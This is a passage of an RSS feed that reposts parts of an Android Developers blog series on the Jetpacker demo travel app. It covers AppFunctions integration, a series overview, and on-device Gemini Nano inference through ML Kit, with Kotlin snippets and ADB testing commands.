<p>When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.</p>

<h2>How we accelerated development with Android skills</h2>

To streamline the integration process, we leveraged the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a>. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary <code>Service</code> entry points, refining our <code>KDoc</code> documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

<h2>Providing app features to the intelligence system</h2>

<p>Enough with the theory, let's dive into the implementation.</p>

<h4>Configuration and dependency setup</h4>

<p>We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.</p>

<pre><code>implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")</code></pre>

<h4>Modeling custom data types</h4>

<p>Any custom object exchanged with the agent must be annotated with <code>@AppFunctionSerializable</code>. In our <a href="https://github.com/android/ai-samples/tree/main/jetpacker/android/feature/appfunctions/src/main/java/com/example/jetpacker/feature/appfunctions/TripSerializable.kt">TripSerializable.kt</a> file, we define our trip data model:</p>

<pre><code>@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List&lt;String&gt;,
)</code></pre>

<h4>Providing features using the @AppFunction annotation</h4>

<p>Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with <code>@AppFunction</code>. We can view this in searchTrip:</p>

<pre><code>/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List&lt;TripSerializable&gt; {
    return withContext(Dispatchers.IO) {
    // implementation
}</code></pre>

<p>Since AppFunctions run on the UI thread by default, we use <code>withContext(Dispatchers.IO)</code> to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.</p>

<h4>The service entry point and Hilt integration</h4>

<p>To register these features with the intelligence system, we create an abstract base class that extends <code>AppFunctionService</code>. We annotate it with <code>@AppFunctionServiceEntryPoint</code>:</p>

<pre><code>@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}</code></pre>

<p>During compilation, KSP generates the final concrete service subclass, <code>JetPackerAppFunctionService</code>, as declared with the <code>serviceName</code> parameter. We also register <code>app_metadata.xml</code> in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.</p>

<h2>Testing and verifying your AppFunctions</h2>

<p>Once implemented, you should verify that your AppFunctions are registered and working correctly.</p>

<p>Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running <code>adb shell cmd app_function list-app-functions</code> displays all registered functions for your package. You can then execute a specific function and test its database integration by running <code>adb shell cmd app_function execute-app-function</code> while passing a raw JSON parameters string.</p>

<p>Instead of these ADB commands, you can also use the <a href="https://github.com/android/appfunctions">AppFunctions Testing Agent</a> to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.</p>

<h2>Wrapping it up</h2>

<p>When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..</p>

<p>First, the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a> is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.</p>

<p>Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!</p>

<h2>Learn more</h2>

<p>Check out the other parts of this blog post series:<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html">Part 1:</a></b> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2:</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">Part 3:</a></b> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4 (this post!):</b></a> System integration. Integrating with the Android intelligence system using AppFunctions. <br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.</p>

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>
  All code snippets in this blog post follow the following copyright notice:
</p>
<pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Introduction to Jetpacker]]></title>
<description><![CDATA[Posted by Jolanda Verhoef, Senior Developer Relations Engineer, Android Developer RelationsBuilding GenAI features in your app usually means navigating through various models, APIs and architecture choices: 

  Execution location: Where does your model run? On device, in the cloud, or both?
  Com...]]></description>
<link>https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:26 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigBFwd7rJO49I_puODKBWFqPbpHaGyL3CTFuZBbr0HTQConFnc3JP0dL9Rr_i6wmyW0o4Ku2bvv3SEacwpC3Vc6b7cYy0aRbZKdUDudFcraYO8zcBVkrMfbrfMP9How0J1xSi91xLnR4s5Z3s-Lp6RF2SA0gU56B9nXD0NkD_CU8MT6wbgBw1tRaMWcMo/s2469/0713%20Jetpacker%20Meta.png">
<div><i>Posted by Jolanda Verhoef, Senior Developer Relations Engineer, </i><i>Android Developer Relations</i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFlbIY8mjuSzlWuS8mnGJ3v8Je-yrtFFaBHNXumMqS0rbaS32wv5HUhI4mv5pHT8ro0Rfb-duyMhK8_OeKnMyocY9s6GmC9_pgTEv6sgZoiaZpD00sODTTctYV8I4RHddKWcXAMUyTASk97cS1ysx4A2PFYB6PEeiHeN93BFgDiOTKH62ZJMig3kGP66E/s8583/0713%20Jetpacker%20Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFlbIY8mjuSzlWuS8mnGJ3v8Je-yrtFFaBHNXumMqS0rbaS32wv5HUhI4mv5pHT8ro0Rfb-duyMhK8_OeKnMyocY9s6GmC9_pgTEv6sgZoiaZpD00sODTTctYV8I4RHddKWcXAMUyTASk97cS1ysx4A2PFYB6PEeiHeN93BFgDiOTKH62ZJMig3kGP66E/s1600/0713%20Jetpacker%20Blog.png"></a></div><br><i><br></i><p>Building GenAI features in your app usually means navigating through various models, APIs and architecture choices: </p>
<ul>
  <li><strong>Execution location:</strong> Where does your model run? On device, in the cloud, or both?</li>
  <li><strong>Complexity:</strong> How complex is your setup? Are you doing a single inference call or do you need a more agentic flow?</li>
  <li><strong>In-app or Android System:</strong> Should your feature be built into your Android app or does it fit better as an Android system integration?</li>
</ul>

<p>In this blog post series we'll navigate these choices with you. We will take you along on a journey, starting with a basic mobile app and transforming it into a <b>personalized</b>, <b>intelligent</b>, and <b>agentic</b> experience.</p>

<h2>Jetpacker: a demo travel app</h2>
<p>Jetpacker is a <b>technical showcase app</b> that our team built from the ground up for this year's Google I/O (built using Antigravity). At its core, Jetpacker helps users plan, explore, and enjoy their next big adventure. It shows an overview of your trips, the itinerary of each trip, and details of each event on that trip. Of course following all best practices of Android development, including a beautifully expressive Material UI design.</p><div>
  
  
</div>

<p>And best of all? It's fully <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">open source</a>!</p>

<p>Today we are publishing a series of<b> technical blog posts</b> diving deep into each of these features. We’ll provide detailed implementation steps, code snippets, and architectural insights to help you build your own intelligent Android applications.</p>

<h2><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">On-device intelligence</a></h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7d4EqOTEFypjsqmFoZ8h-zPw3QqQkNY1F_vdbJ98vv1QJCqIE8P-reC0fttcMfNk05g3kGSLhGXVaeiOQDqARK6ptNhFe43miZgTNSmdF7V5hh6u4PhjQleWXmxDqkAf5YKPPyBU14V9z_wFfkiwVDCHN0rkLDtbZCGnb6Jq8d7Iu3YRVgDd9fcMeTiA/s1848/on-device-features.png"><img border="0" data-original-height="1256" data-original-width="1848" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7d4EqOTEFypjsqmFoZ8h-zPw3QqQkNY1F_vdbJ98vv1QJCqIE8P-reC0fttcMfNk05g3kGSLhGXVaeiOQDqARK6ptNhFe43miZgTNSmdF7V5hh6u4PhjQleWXmxDqkAf5YKPPyBU14V9z_wFfkiwVDCHN0rkLDtbZCGnb6Jq8d7Iu3YRVgDd9fcMeTiA/s1600/on-device-features.png"></a></div><div><i>On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes</i></div><p>Using an on-device model comes with <b>no additional cloud inference</b> costs, means you don't have to worry about <b>internet connectivity</b>, and lets users be confident that private information will be <b>processed locally</b>, on the device, without any of their data being sent to the cloud.</p>

<p>In Jetpacker, we chose on-device inference for three of our features:</p>
<ul>
  <li>The <b>trip overview</b> feature transforms a messy, multi-day itinerary into a concise, actionable summary. It leverages Gemini Nano through the <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit GenAI APIs</a> to process data locally on the device. We consider this a nice-to-have feature where we don't want to incur extra cloud costs, making on-device inference the right choice.</li>
  <li>The <b>expense tracker</b> automatically extracts structured data from receipt images to help users track their travel spending. It uses the <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started#provide-multimodal">multimodal capabilities</a> of Gemini Nano 4 through the ML Kit GenAI APIs. We choose an on-device solution so that any privacy-sensitive information on the receipt images never leaves the user's device.</li>
  <li>The <b>audio diary </b>records, transcribes, and categorizes voice notes into relevant trip activities. It is powered by the <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit Speech Recognition</a> and <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started">GenAI Prompt APIs</a>. We chose an on-device solution for privacy and connectivity reasons.</li>
</ul>

<h2><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html" target="_blank">Cloud &amp; hybrid inference</a></h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFPZiA1Obbj1gQKJ6S-U4UCR-jiUjasFY3jGQPeBRS27JJD5DzDIpGseazaNR3qcXR6xtYck8RYqKd0jgHGXVnfqQiPkW7jWVgTB_Hkds5EZcQDjosBZc7Ma9A-JaRaLeVxzEpTXYwSkalIyOIt-WQ_kqdlAvpDH1nB0Ajv7FdFJJ50aBOhP7a0p_RvN4/s2722/cloud-hybrid-features.png"><img border="0" data-original-height="1632" data-original-width="2722" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFPZiA1Obbj1gQKJ6S-U4UCR-jiUjasFY3jGQPeBRS27JJD5DzDIpGseazaNR3qcXR6xtYck8RYqKd0jgHGXVnfqQiPkW7jWVgTB_Hkds5EZcQDjosBZc7Ma9A-JaRaLeVxzEpTXYwSkalIyOIt-WQ_kqdlAvpDH1nB0Ajv7FdFJJ50aBOhP7a0p_RvN4/s1600/cloud-hybrid-features.png"></a></div><br><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><i><div><i>Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and hotel support chat featuring custom-routed live translation.</i></div></i><p>Sometimes your use-case requires AI models with <b>greater world knowledge</b> or a much <b>larger context window</b> and with greater ability in <b>handling complex tasks</b>. In that case, we can switch from running an on-device model to using a cloud model instead.</p>

<p>Or, if you want to get the best of both worlds, you can use hybrid inference to <b>dynamically choose</b> either a cloud or on-device model at runtime. This allows us to <b>lower costs</b> by moving inference to the device when it is available, but at the same time <b>support all Android devices</b> running the app.</p>

<p>In Jetpacker, we implemented several features using cloud or hybrid inference:</p>
<ul>
  <li>The <b>place Q&amp;A</b> feature answers user questions about specific locations by grounding responses in real-world data. It uses <a href="https://firebase.google.com/docs/ai-logic">Firebase AI Logic</a> integrated with <a href="https://firebase.google.com/docs/ai-logic/grounding-google-maps">Google Maps</a> and <a href="https://firebase.google.com/docs/ai-logic/grounding-google-search">web context</a>. Using a cloud model is necessary here for its greater world knowledge.</li>
  <li>The <b>review drafting</b> feature helps users compose detailed reviews for the places they have visited. It leverages both on-device and cloud models through Firebase AI Logic's new <a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started">Hybrid inference API</a>. This is a feature we wanted to make available to all app users, so we're using a cloud model as a fallback when an on-device model is unavailable.</li>
  <li>The <b>automatic chat translation</b> dynamically translates chat messages in real time to facilitate seamless communication, demonstrating custom hybrid inference logic. Again, we want this feature to be available to all app users, but at the same time have some specific considerations on when to choose on-device versus cloud.</li>
</ul>

<h2><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html">System integration</a></h2><div>
  
  
</div>
<p>While not a feature you see in the app itself, the Android system integration opens up the app's core capabilities directly to the Android operating system. It uses the <a href="https://developer.android.com/ai/appfunctions">AppFunctions API</a> to integrate with system-level intelligence.</p>

<h2>In-app agentic workflows (coming soon!)</h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3YAW_TWepCinuAvHQ7i9JKfhWtf-GSggI6CtD0Qp7-nfPA7UTmmYHTAtsEybWlmiPgxZqo_fUlqc44dmF_5WWH4tlTRze8qdsm9Jc5ARwL5k_PJjU1VTcAHRE3EdxL4JHSnsCt4VCzwPaR41LM34048icLNZLE1kUhpLTeiGpDH87Bh7utPJmXS4kn_8/s1618/agentic-feature-booking-assistant%20(1).png"><img border="0" data-original-height="1618" data-original-width="844" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3YAW_TWepCinuAvHQ7i9JKfhWtf-GSggI6CtD0Qp7-nfPA7UTmmYHTAtsEybWlmiPgxZqo_fUlqc44dmF_5WWH4tlTRze8qdsm9Jc5ARwL5k_PJjU1VTcAHRE3EdxL4JHSnsCt4VCzwPaR41LM34048icLNZLE1kUhpLTeiGpDH87Bh7utPJmXS4kn_8/w209-h400/agentic-feature-booking-assistant%20(1).png" width="209"></a></div><i><div><i>The booking assistant shows several in-progress flight bookings, asking the user for input before making a final booking.</i></div></i><p>Agenticness introduces a higher level of<b> autonomy</b>, enabling models to act as agents. Instead of a single inference call, an agent works towards a specific goal via an orchestration loop that allows it to <b>reason</b>, use <b>tools</b>, and <b>adapt </b>its path. Depending on your requirements, these intelligent agents can run either in the cloud, directly on-device, or in a hybrid setup.</p>

<p>For Jetpacker we added a <b>booking assistant</b> that automates end-to-end booking workflows directly within the application to streamline reservations. It is built using <a href="https://a2ui.org/">A2UI</a> and <a href="https://adk.dev/">ADK</a> running in the cloud. The Android app functions as a front-end to the multi-agentic system running in the cloud.</p>

<h2>Learn more</h2>
<p>Check out the other parts of this blog post series:</p><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html"><b>Part 1 (this post!):</b></a> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2:</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html"><b>Part 3:</b></a> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4:</b></a> System integration. Integrating with the Android intelligence system using AppFunctions.<br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: On-device inference]]></title>
<description><![CDATA[Posted by Caren Chang, Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we introduced Jet...]]></description>
<link>https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:25 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd7g4aJ0ZhzVcuPr3SzBJIVQ_MZT3hIXb1Ff8SVjjrvRjYzZwhgoE7IbHryS6Ds7u7if1_tmVmMdkFNAtPADXoeuRQ_64Pxfnp3oq2aHR8hbS3fDExGxE0nSiOvXPw7SonhNdjFNI2eDJfasEEMs0xjh2gZlyPq6ToimvFlaMv2-nVDz_XLnSXK1iCn4U/s2469/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Meta%20v02.png"><div><i>Posted by Caren Chang, Developer Relations Engineer, Android Developer Relations</i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s8582/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"><img border="0" data-original-height="2601" data-original-width="8582" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s1600/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"></a></div><br><i><br></i><div><i><br></i><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a <b>personalized, intelligent, </b>and <b>agentic </b>experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">previous post we introduced Jetpacker</a>, the demo app we'll use throughout this series.</p>

<p>In this blog post, we will share how you can use Gemini Nano through <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit’s Prompt API</a> to build intelligent on-device features.</p>
<div>
  
  
</div>

<p>Building intelligent on-device features refers to the ability to process prompts and data directly on a device without sending data to a server. This offers a few advantages:</p>
<ul>
  <li>User data can be processed <b>locally</b> on the device, preserving user privacy</li>
  <li>Functionality of the model is <b>reliable</b> even with spotty or no internet connection</li>
  <li>No additional cloud inference <b>cost</b>, since everything runs on the user’s hardware</li>
</ul>

<p>With the benefits of on-device in mind, we identified three features to add in Jetpacker that can improve the user experience: summarizing trip itineraries, managing expenses, and capturing voice notes.</p>

<h2><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/s1848/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png"><img border="0" data-original-height="1256" data-original-width="1848" height="434" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/w640-h434/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png" width="640"></a></div><div><span><span><i>On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes</i></span></span></div><div class="separator"><br></div>High quality tailored summarization of short texts</h2>

<p>The itinerary screen gives users a quick overview of all activities for a given trip. Since this screen contains a lot of information, it can quickly become overwhelming. To help users prepare without feeling overwhelmed, we can add a ‘<b>Get ready for your trip</b>’ section at the top.</p>
<p><em></em></p>
<div class="separator"><em><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/s2499/Screenshot_20260702_111934.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/w189-h400/Screenshot_20260702_111934.png" width="189"></a></em></div>
<div><span><span><i>The romantic Paris trip is summarized as a classic Parisian adventure blending art, sights, and delicious food. A tip and some useful phrases are also added.</i></span></span></div>
<p></p>

<p>By inputting a trip itinerary and asking an LLM to summarize it, we can generate a quick summary of the trip along with packing tips and useful local phrases. This is a great use case for an on-device model for several reasons:</p>
<ul>
  <li><b>Performance and quality</b>: Both the input and output text are relatively short. With that, we can expect the performance and quality of an on-device solution to be on par with more powerful cloud models.</li>
  <li><b>Scalability</b>: Shifting inference on-device allows us to scale this feature from a few users to millions without worrying about managing increasing cloud inference costs.</li>
  <li><b>Low latency and reliability</b>: On-device inference guarantees low latency, providing a reliable experience even when users are offline.</li>
</ul>

<p>To build with on-device, we use <b>Gemini Nano</b>, Google’s most efficient model optimized for mobile devices. Gemini Nano was first introduced a few years ago, and is now running on over 140 million devices. The latest version of the model, <a href="https://android-developers.googleblog.com/2026/04/AI-Core-Developer-Preview.html">Gemini Nano 4, is built on the architecture foundation of the recently released Gemma 4 model</a>, and is further optimized for maximum battery and performance efficiency.</p>

<p>Using ML Kit’s <b>Prompt API</b>, we can take advantage of Gemini Nano 4’s new model capabilities to prototype our on-device features. We’ll create a prompt that includes the itinerary of a trip and ask the model to generate a summary along with any preparation tips.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3") 

// Define the configuration for Gemini Nano 4 E2B preview model
val previewFastConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FAST
    }
}

val geminiNano2BPreviewModel = Generation.getClient(previewFastConfig)

val tripItinerary = ...

val getReadyForYourTripSummary = geminiNano2BPreviewModel
 .generateContent("Given this trip itinerary: $tripItinerary, 
     generate the following: overall vibe, tips on how to prepare for this
     trip, and common short phrases to learn for the trip.")</code></pre>

<p>Finding the optimal prompt usually requires some iteration, and the AICore app is perfect for this step in the process. After opting into the <a href="https://developers.google.com/ml-kit/genai/aicore-dev-preview">developer preview option for AICore</a>, we can download preview models such as Gemini Nano 4 to test prompts and see the model’s expected outputs. With a few iterations on the prompt, we were able to improve the speed of the response from 13 seconds to under 2 seconds! Check out the final code implementation and prompt <a href="https://github.com/android/ai-samples/blob/40b999ef0e85693eac4de06e58335f0f5f125fa6/jetpacker/android/feature/trip/itinerary/enrichment/src/main/kotlin/com/example/jetpacker/feature/itinerary_enrichment/TripSummaryAndTipsProviderImpl.kt#L100" target="_blank">here</a>.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/s553/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif"><img border="0" data-original-height="553" data-original-width="496" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/w359-h400/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif" width="359"></a></div>

<div><span><span><i>The first iteration of our prompt generated way too many tokens, and optimizing it helped keep responses quick and to the point.</i></span></span></div>

<h2>Local processing for sensitive user input</h2>

<p>Next, to help users enjoy their trip even more, we’ll build a simple expense manager that takes the manual work out of sorting through receipts and calculating budgets.</p>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/s1282/7.13_BlogGif_Transparent.gif"><img border="0" data-original-height="1282" data-original-width="613" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/w191-h400/7.13_BlogGif_Transparent.gif" width="191"></a></div>
<br>
  
<div><span><span><i>Taking a photo of a restaurant bill, data is parsed and shown in the expense overview screen of the app.</i></span></span></div>

<p>Since receipts might contain sensitive information like credit card number and addresses, this is another great use case for an on-device solution. With on-device, users can be confident that private information will be processed locally on the device without any of their data being sent to the cloud.</p>

<p>In addition, Gemini Nano 4 has improved model capabilities for multimodality, especially for image understanding tasks like OCR and visual data extraction, making it a great solution for tasks like extracting information from receipts.</p>

<p>For this use case, the prompt will analyze an image of the receipt, and output information such as: a generated title, amount spent and category of the expense. To ensure the model outputs the information in the preferred format, we can use <a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output">ML Kit’s Structured Output API</a> to seamlessly output a Kotlin data object that we define.</p>

